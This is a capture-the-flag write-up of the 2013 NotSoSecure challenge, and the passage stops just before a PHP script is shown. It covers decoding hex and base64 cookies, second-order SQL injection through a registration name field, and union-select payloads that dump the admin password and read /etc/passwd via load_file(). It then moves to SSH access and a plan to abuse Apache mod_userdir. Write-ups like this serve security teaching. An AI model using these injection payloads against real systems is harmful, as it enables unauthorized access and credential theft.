NotSoSecure CTF Writeup 2013

<h2 id="first_flag" style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 24px; line-height: 36px; margin: 0px; text-rendering: optimizelegibility;"> First flag</h2> <hr style="background-color: white; border-bottom-color: rgb(255, 255, 255); border-bottom-style: solid; border-left-width: 0px; border-right-width: 0px; border-top-color: rgb(238, 238, 238); border-top-style: solid; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin: 18px 0px;" /> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> In the mail containing the instructions to start the CTF, the following URL was supplied:<br /></div> <pre style="background-color: #fafafa; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgba(0, 0, 0, 0.14902); color: #333333; font-family: InconsolataMedium, Monaco, 'Courier New', monospace; font-size: 12px; line-height: 1.4em; margin-bottom: 9px; padding: 8.5px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><code style="background-color: transparent; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 0px; color: inherit; font-family: Menlo, Monaco, 'Courier New', monospace; padding: 0px;">http://ctf.notsosecure.com/71367217217126217712/</code></pre> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; text-align: center;"> <img alt="Login" height="345" src="http://www.gilgalab.com.br/assets/images/27-oct-2013/login.png" style="border: 0px; height: auto; max-width: 100%;" width="552" /></div> <br style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px;" /> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> This page requires an username and password, but there was no mention of it in the email.</div> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> We started with the classic attempt of injecting <code style="background-color: #f7f7f9; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Menlo, Monaco, 'Courier New', monospace; font-size: 12px; padding: 3px 4px;">1' or '1'='1</code> string for both username and password. Having no luck, we started looking around a bit closer.</div> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> We submitted the form empty, and noticed an HTTP 302 redirect with the following information:</div> <pre style="background-color: #fafafa; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgba(0, 0, 0, 0.14902); color: #333333; font-family: InconsolataMedium, Monaco, 'Courier New', monospace; font-size: 12px; line-height: 1.4em; margin-bottom: 9px; padding: 8.5px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><code style="background-color: transparent; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 0px; color: inherit; font-family: Menlo, Monaco, 'Courier New', monospace; padding: 0px;">7365637265745f72656769737465722e68746d6c</code></pre> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; text-align: center;"> <img alt="302" height="345" src="http://www.gilgalab.com.br/assets/images/27-oct-2013/302.png" style="border: 0px; height: auto; max-width: 100%;" width="552" /></div> <br style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px;" /> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> We noticed the hex encoding and we decoded the string with this simple Python script:</div> <div class="highlight" style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px;"> <pre style="background-color: #fafafa; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgba(0, 0, 0, 0.14902); font-family: InconsolataMedium, Monaco, 'Courier New', monospace; font-size: 12px; line-height: 1.4em; margin-bottom: 9px; padding: 8.5px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><code class="python" style="background-color: transparent; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 0px; color: inherit; font-family: Menlo, Monaco, 'Courier New', monospace; padding: 0px;"><span class="n" style="color: black;">s</span> <span class="o" style="color: #ce5c00; font-weight: bold;">=</span> <span class="s" style="color: #4e9a06;">'7365637265745f72656769737465722e68746d6c'</span> <span class="k" style="color: #204a87; font-weight: bold;">print</span> <span class="s" style="color: #4e9a06;">''</span><span class="o" style="color: #ce5c00; font-weight: bold;">.</span><span class="n" style="color: black;">join</span><span class="p" style="color: black; font-weight: bold;">([</span><span class="nb" style="color: #204a87;">chr</span><span class="p" style="color: black; font-weight: bold;">(</span><span class="nb" style="color: #204a87;">int</span><span class="p" style="color: black; font-weight: bold;">(</span><span class="n" style="color: black;">s</span><span class="p" style="color: black; font-weight: bold;">[</span><span class="n" style="color: black;">n</span><span class="p" style="color: black; font-weight: bold;">:</span><span class="n" style="color: black;">n</span><span class="o" style="color: #ce5c00; font-weight: bold;">+</span><span class="mi" style="color: #0000cf; font-weight: bold;">2</span><span class="p" style="color: black; font-weight: bold;">],</span> <span class="mi" style="color: #0000cf; font-weight: bold;">16</span><span class="p" style="color: black; font-weight: bold;">))</span> <span class="k" style="color: #204a87; font-weight: bold;">for</span> <span class="n" style="color: black;">n</span> <span class="ow" style="color: #204a87; font-weight: bold;">in</span> <span class="nb" style="color: #204a87;">xrange</span><span class="p" style="color: black; font-weight: bold;">(</span><span class="mi" style="color: #0000cf; font-weight: bold;">0</span><span class="p" style="color: black; font-weight: bold;">,</span> <span class="nb" style="color: #204a87;">len</span><span class="p" style="color: black; font-weight: bold;">(</span><span class="n" style="color: black;">s</span><span class="p" style="color: black; font-weight: bold;">),</span> <span class="mi" style="color: #0000cf; font-weight: bold;">2</span><span class="p" style="color: black; font-weight: bold;">)])</span> </code></pre> </div> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> The script basically takes those numbers 2 at a time and convert them to their respective ascii char. The output for it was ‘secret_register.html’.</div> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> Great! We now have a different page name to play with. Accessing it we were greeted with a registration form that we filled with some dummy values just to test.</div> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; text-align: center;"> <img alt="Login" height="345" src="http://www.gilgalab.com.br/assets/images/27-oct-2013/dummy.png" style="border: 0px; height: auto; max-width: 100%;" width="552" /></div> <br style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px;" /> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> After submitting our registration, we tried to login with our newly created user. At this point we found ourselves in a page with a crying figure lamenting that we were not Admin. :(</div> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; text-align: center;"> <img alt="notadmin" height="345" src="http://www.gilgalab.com.br/assets/images/27-oct-2013/notadmin.png" style="border: 0px; height: auto; max-width: 100%;" width="552" /></div> <br style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px;" /> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> Looking at the requests that were made during the login phase, we noticed the following cookie being set:</div> <pre style="background-color: #fafafa; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgba(0, 0, 0, 0.14902); color: #333333; font-family: InconsolataMedium, Monaco, 'Courier New', monospace; font-size: 12px; line-height: 1.4em; margin-bottom: 9px; padding: 8.5px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><code style="background-color: transparent; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 0px; color: inherit; font-family: Menlo, Monaco, 'Courier New', monospace; padding: 0px;">Set-Cookie: session_id=Zm9vQGJhci5jb20%3D</code></pre> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; text-align: center;"> <img alt="cookie" height="345" src="http://www.gilgalab.com.br/assets/images/27-oct-2013/setcookie.png" style="border: 0px; height: auto; max-width: 100%;" width="552" /></div> <br style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px;" /> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> This looks a lot like a base64 encoded value.</div> <pre style="background-color: #fafafa; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgba(0, 0, 0, 0.14902); color: #333333; font-family: InconsolataMedium, Monaco, 'Courier New', monospace; font-size: 12px; line-height: 1.4em; margin-bottom: 9px; padding: 8.5px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><code style="background-color: transparent; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 0px; color: inherit; font-family: Menlo, Monaco, 'Courier New', monospace; padding: 0px;">$ echo -n "Zm9vQGJhci5jb20=" | base64 -d foo@bar.com</code></pre> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> So, the page is setting a cookie containing the user’s email. And that is it, it seems.</div> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> At this point, nothing too interesting. Perhaps it was time to try the classic SQL Injection approach in the registration form, as doing it in the login form resulted on nothing.</div> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> We tried creating an user called <code style="background-color: #f7f7f9; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Menlo, Monaco, 'Courier New', monospace; font-size: 12px; padding: 3px 4px;">!!' or name = 'admin</code> just to see what would happen (after all, the name of the field in the form was ‘name’ so why not give it a shot?). We logged in with our new user and to our surprise the following cookie was set:</div> <pre style="background-color: #fafafa; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgba(0, 0, 0, 0.14902); color: #333333; font-family: InconsolataMedium, Monaco, 'Courier New', monospace; font-size: 12px; line-height: 1.4em; margin-bottom: 9px; padding: 8.5px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><code style="background-color: transparent; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 0px; color: inherit; font-family: Menlo, Monaco, 'Courier New', monospace; padding: 0px;">Set-Cookie: session_id=YWRtaW5Ac3FsaWxhYnMuY29t</code></pre> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; text-align: center;"> <img alt="cookie" height="345" src="http://www.gilgalab.com.br/assets/images/27-oct-2013/setcookie2.png" style="border: 0px; height: auto; max-width: 100%;" width="552" /></div> <br style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px;" /> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> Decoding that</div> <pre style="background-color: #fafafa; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgba(0, 0, 0, 0.14902); color: #333333; font-family: InconsolataMedium, Monaco, 'Courier New', monospace; font-size: 12px; line-height: 1.4em; margin-bottom: 9px; padding: 8.5px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><code style="background-color: transparent; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 0px; color: inherit; font-family: Menlo, Monaco, 'Courier New', monospace; padding: 0px;">$ echo -n "Zm9vQGJhci5jb20=" | base64 -d admin@sqlilabs.com</code></pre> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> Perfect! We just found the flaw. Now we need to figure out the password column and the table name to retrieve the password of the <code style="background-color: #f7f7f9; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Menlo, Monaco, 'Courier New', monospace; font-size: 12px; padding: 3px 4px;">admin</code> user. We assumed the column would be called <code style="background-color: #f7f7f9; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Menlo, Monaco, 'Courier New', monospace; font-size: 12px; padding: 3px 4px;">password</code> so we now only had to discover the table name. We looked up for tables with <code style="background-color: #f7f7f9; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Menlo, Monaco, 'Courier New', monospace; font-size: 12px; padding: 3px 4px;">password</code>-named columns with the following SQL:</div> <pre style="background-color: #fafafa; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgba(0, 0, 0, 0.14902); color: #333333; font-family: InconsolataMedium, Monaco, 'Courier New', monospace; font-size: 12px; line-height: 1.4em; margin-bottom: 9px; padding: 8.5px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><code style="background-color: transparent; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 0px; color: inherit; font-family: Menlo, Monaco, 'Courier New', monospace; padding: 0px;">!!' union select (select table_name from information_schema.columns where column_name = 'password'), 'a</code></pre> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> Turns out it was called <code style="background-color: #f7f7f9; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Menlo, Monaco, 'Courier New', monospace; font-size: 12px; padding: 3px 4px;">users</code>. How predictable! Why didn’t we try <code style="background-color: #f7f7f9; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Menlo, Monaco, 'Courier New', monospace; font-size: 12px; padding: 3px 4px;">users</code> before typing all that SQL?</div> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> Now we only needed to know the user’s password. So we injected the following:</div> <pre style="background-color: #fafafa; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgba(0, 0, 0, 0.14902); color: #333333; font-family: InconsolataMedium, Monaco, 'Courier New', monospace; font-size: 12px; line-height: 1.4em; margin-bottom: 9px; padding: 8.5px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><code style="background-color: transparent; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 0px; color: inherit; font-family: Menlo, Monaco, 'Courier New', monospace; padding: 0px;">!!' union select password, name from users where name = 'admin</code></pre> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> Which gave us <code style="background-color: #f7f7f9; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Menlo, Monaco, 'Courier New', monospace; font-size: 12px; padding: 3px 4px;">sqlilabRocKs!!</code> as the <code style="background-color: #f7f7f9; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Menlo, Monaco, 'Courier New', monospace; font-size: 12px; padding: 3px 4px;">admin</code> password.</div> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> Logging in with our newly found credentials we get:</div> <pre style="background-color: #fafafa; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgba(0, 0, 0, 0.14902); color: #333333; font-family: InconsolataMedium, Monaco, 'Courier New', monospace; font-size: 12px; line-height: 1.4em; margin-bottom: 9px; padding: 8.5px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><code style="background-color: transparent; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 0px; color: inherit; font-family: Menlo, Monaco, 'Courier New', monospace; padding: 0px;">Well done, Flag is 815290. 2nd flag is in file secret.txt</code></pre> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; text-align: center;"> <img alt="youareadmin" height="345" src="http://www.gilgalab.com.br/assets/images/27-oct-2013/youareadmin.png" style="border: 0px; height: auto; max-width: 100%;" width="552" /></div> <br style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px;" /> <h2 id="second_flag" style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 24px; line-height: 36px; margin: 0px; text-rendering: optimizelegibility;"> Second flag</h2> <hr style="background-color: white; border-bottom-color: rgb(255, 255, 255); border-bottom-style: solid; border-left-width: 0px; border-right-width: 0px; border-top-color: rgb(238, 238, 238); border-top-style: solid; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin: 18px 0px;" /> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> The first flag revealed that the server had a <code style="background-color: #f7f7f9; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Menlo, Monaco, 'Courier New', monospace; font-size: 12px; padding: 3px 4px;">secret.txt</code> file, which we tried to read using <code style="background-color: #f7f7f9; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Menlo, Monaco, 'Courier New', monospace; font-size: 12px; padding: 3px 4px;">load_file()</code> in a SQLi only to find that we were unable to do so. How foolish of us! Of course it wouldn’t be that easy.</div> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> After we put some thought on it, sigsegv (a team member) suggested trying to read <code style="background-color: #f7f7f9; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Menlo, Monaco, 'Courier New', monospace; font-size: 12px; padding: 3px 4px;">/etc/passwd</code>. We did it by injecting this:</div> <pre style="background-color: #fafafa; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgba(0, 0, 0, 0.14902); color: #333333; font-family: InconsolataMedium, Monaco, 'Courier New', monospace; font-size: 12px; line-height: 1.4em; margin-bottom: 9px; padding: 8.5px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><code style="background-color: transparent; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 0px; color: inherit; font-family: Menlo, Monaco, 'Courier New', monospace; padding: 0px;">!!' union select load_file('/etc/passwd'), 'a</code></pre> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> Guess what we found? An user which had his password field set:</div> <pre style="background-color: #fafafa; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgba(0, 0, 0, 0.14902); color: #333333; font-family: InconsolataMedium, Monaco, 'Courier New', monospace; font-size: 12px; line-height: 1.4em; margin-bottom: 9px; padding: 8.5px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><code style="background-color: transparent; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 0px; color: inherit; font-family: Menlo, Monaco, 'Courier New', monospace; padding: 0px;">temp123:x:1001:1001:weakpassword1:/home/temp123:/bin/sh</code></pre> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> We ssh’d into <code style="background-color: #f7f7f9; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Menlo, Monaco, 'Courier New', monospace; font-size: 12px; padding: 3px 4px;">ctf.notsosecure.com</code> using that username and password and it worked. Now we only had to read <code style="background-color: #f7f7f9; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Menlo, Monaco, 'Courier New', monospace; font-size: 12px; padding: 3px 4px;">/secret.txt</code>:</div> <pre style="background-color: #fafafa; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgba(0, 0, 0, 0.14902); color: #333333; font-family: InconsolataMedium, Monaco, 'Courier New', monospace; font-size: 12px; line-height: 1.4em; margin-bottom: 9px; padding: 8.5px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><code style="background-color: transparent; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 0px; color: inherit; font-family: Menlo, Monaco, 'Courier New', monospace; padding: 0px;">$ cat /secret.txt cat: /secret.txt: Permission denied</code></pre> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> Oh snap! Why can’t we read it? <code style="background-color: #f7f7f9; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Menlo, Monaco, 'Courier New', monospace; font-size: 12px; padding: 3px 4px;">ls -l</code> revealed it could only be read by <code style="background-color: #f7f7f9; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Menlo, Monaco, 'Courier New', monospace; font-size: 12px; padding: 3px 4px;">www-data</code>:</div> <pre style="background-color: #fafafa; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgba(0, 0, 0, 0.14902); color: #333333; font-family: InconsolataMedium, Monaco, 'Courier New', monospace; font-size: 12px; line-height: 1.4em; margin-bottom: 9px; padding: 8.5px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><code style="background-color: transparent; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 0px; color: inherit; font-family: Menlo, Monaco, 'Courier New', monospace; padding: 0px;">$ ls -l -r-------- 1 www-data www-data 684 Oct 25 07:46 secret.txt</code></pre> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> We couldn’t use <code style="background-color: #f7f7f9; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Menlo, Monaco, 'Courier New', monospace; font-size: 12px; padding: 3px 4px;">sudo</code> or <code style="background-color: #f7f7f9; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Menlo, Monaco, 'Courier New', monospace; font-size: 12px; padding: 3px 4px;">su</code>, we didn’t find any exploitable suid executable (we didn’t search thoroughly actually) and we could not put a script into <code style="background-color: #f7f7f9; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Menlo, Monaco, 'Courier New', monospace; font-size: 12px; padding: 3px 4px;">/var/www</code>to dump the contents of the file.</div> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> “Damn”, we thought, “how the hell are we going to read that file?”.</div> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> Looking for more options, we went to apache’s configuration directory and then into it’s <code style="background-color: #f7f7f9; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Menlo, Monaco, 'Courier New', monospace; font-size: 12px; padding: 3px 4px;">mods-enabled</code>folder:</div> <pre style="background-color: #fafafa; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgba(0, 0, 0, 0.14902); color: #333333; font-family: InconsolataMedium, Monaco, 'Courier New', monospace; font-size: 12px; line-height: 1.4em; margin-bottom: 9px; padding: 8.5px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><code style="background-color: transparent; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 0px; color: inherit; font-family: Menlo, Monaco, 'Courier New', monospace; padding: 0px;">$ pwd /etc/apache2/mods-enabled $ ls -l ... lrwxrwxrwx 1 root root 30 Oct 6 17:17 userdir.conf -> ../mods-available/userdir.conf lrwxrwxrwx 1 root root 30 Oct 6 17:17 userdir.load -> ../mods-available/userdir.load</code></pre> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> “Mua-ha-ha!” Now everything seemed clear! Mod userdir lets us create a directory at the users home and access it via the webserver.</div> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> We then created the directory <code style="background-color: #f7f7f9; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Menlo, Monaco, 'Courier New', monospace; font-size: 12px; padding: 3px 4px;">~/public_html</code> and put a little PHP script to dump the <code style="background-color: #f7f7f9; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Menlo, Monaco, 'Courier New', monospace; font-size: 12px; padding: 3px 4px;">secret.txt</code> file:</div> <div class="highlight" style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px;"> <pre style="background-color: #fafafa; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgba(0, 0, 0, 0.14902); font-family: InconsolataMedium, Monaco, 'Courier New', monospace; font-size: 12px; 